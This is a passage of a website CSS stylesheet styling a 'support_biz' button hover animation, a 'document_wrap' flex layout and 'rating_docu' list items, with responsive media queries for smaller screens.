  position: relative;
}
.support_biz > ul > li .btn_more_wp a::before {
  content: '';
  position: absolute;
  height: 100%;
  width: 0%;
  top: 0;
  left: -40px;
  transform: skewX(45deg);
  background-color: #7ea7e3;
  transition: all .7s;
}
.support_biz > ul > li .btn_more_wp a:hover:before {
  width: 160%;
}

@media screen and (max-width: 1250px){
  .document_wrap{
    flex-direction: column;
  }
}

@media screen and (max-width: 1024px){
  .document_wrap{
    flex-direction: column;
    gap: 55px;
  }
  .document_wrap .support_biz > ul{
    gap: 25px;
  }
}

@media screen and (max-width: 768px){
  #section7 {
    padding: 50px 0 60px ;
  }
  .document_wrap .support_biz > ul{
    flex-direction: column;
  }
  .support_biz > ul > li .btn a{
    font-size: 15px;
  }
  .support_biz > ul > li:first-of-type{
    min-height: 395px;
    background-position: center bottom -35px;
  }
  .rating_docu > ul > li{
    flex-direction: column;
    height: auto;
    padding: 24px 20px;
    gap: 15px;
  }
  .rating_docu > ul > li .name_wrap p {
    font-size: 20px;
    text-align: center;
  }
  .rating_docu > ul > li .name_wrap span {
    font-size: 16px;
    margin-top: 10px;
    text-align: center;
  }
  .rating_docu > ul > li .btn_wrap {
    display: flex;
    width: 100%;
    justify-content: center;
    gap: 10px;
  }
  .rating_docu > ul > li .btn_wrap a {
    max-width: 188px;
    min-width: auto;
    font-size: 14px;
    flex: 1;
  }
  .rating_docu > ul > li .btn_wrap a span{
    padding: 0 30px 0 15px;
    background-position: center right 15px;
  }
  .rating_docu > ul > li .btn_wrap a + a {
    margin-top: 0;
  }
}